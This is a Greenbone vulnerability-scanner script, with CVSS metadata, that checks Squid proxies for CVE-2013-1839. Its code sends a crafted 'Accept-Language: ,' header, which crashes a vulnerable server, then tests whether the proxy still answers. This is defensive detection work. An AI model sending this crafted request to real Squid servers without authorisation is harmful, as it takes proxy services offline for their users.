CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:N/I:N/A:C
AI Score
Confidence
Low
EPSS
Percentile
98.8%
Squid is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:squid-cache:squid";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802062");
script_version("2023-07-21T05:05:22+0000");
script_cve_id("CVE-2013-1839");
script_tag(name:"cvss_base", value:"7.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2013-10-03 18:01:36 +0530 (Thu, 03 Oct 2013)");
script_name("Squid Accept-Language Header DoS Vulnerability (SQUID-2013:1)");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2013 Greenbone AG");
script_family("Denial of Service");
script_dependencies("gb_squid_http_detect.nasl");
script_mandatory_keys("squid/http/detected");
script_require_ports("Services/www", "Services/http_proxy", 3128);
script_xref(name:"URL", value:"http://secunia.com/advisories/52588");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/58316");
script_xref(name:"URL", value:"http://www.squid-cache.org/Advisories/SQUID-2013_1.txt");
script_xref(name:"URL", value:"http://www.openwall.com/lists/oss-security/2013/03/11/7");
script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/525932/30/30/threaded");
script_tag(name:"summary", value:"Squid is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"vuldetect", value:"Send crafted 'Accept-Language' header request and check is it
vulnerable to DoS.");
script_tag(name:"solution", value:"Update to version 3.2.9, 3.3.3 or later.");
script_tag(name:"insight", value:"Error within the 'strHdrAcptLangGetItem()' function in
errorpage.cc when handling the 'Accept-Language' header.");
script_tag(name:"affected", value:"Squid version 3.2.x before 3.2.9 and 3.3.x before 3.3.3.");
script_tag(name:"impact", value:"Successful exploitation could allow remote attackers to cause a
denial of service via a crafted 'Accept-Language' header.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
exit(0);
normal_req = http_get(item:"http://www.$$$$$", port:port);
normal_res = http_send_recv(port:port, data:normal_req);
if(!normal_res || "Server: squid" >!< normal_res)
exit(0);
crafted_req = string("GET http://testhostdoesnotexists.com:1234 HTTP/1.1\r\n",
"Accept-Language: ,", "\r\n", "\r\n");
crafted_res = http_send_recv(port:port, data:crafted_req);
normal_res = http_send_recv(port:port, data:normal_req);
if(!normal_res) {
security_message(port:port);
exit(0);
}
exit(99);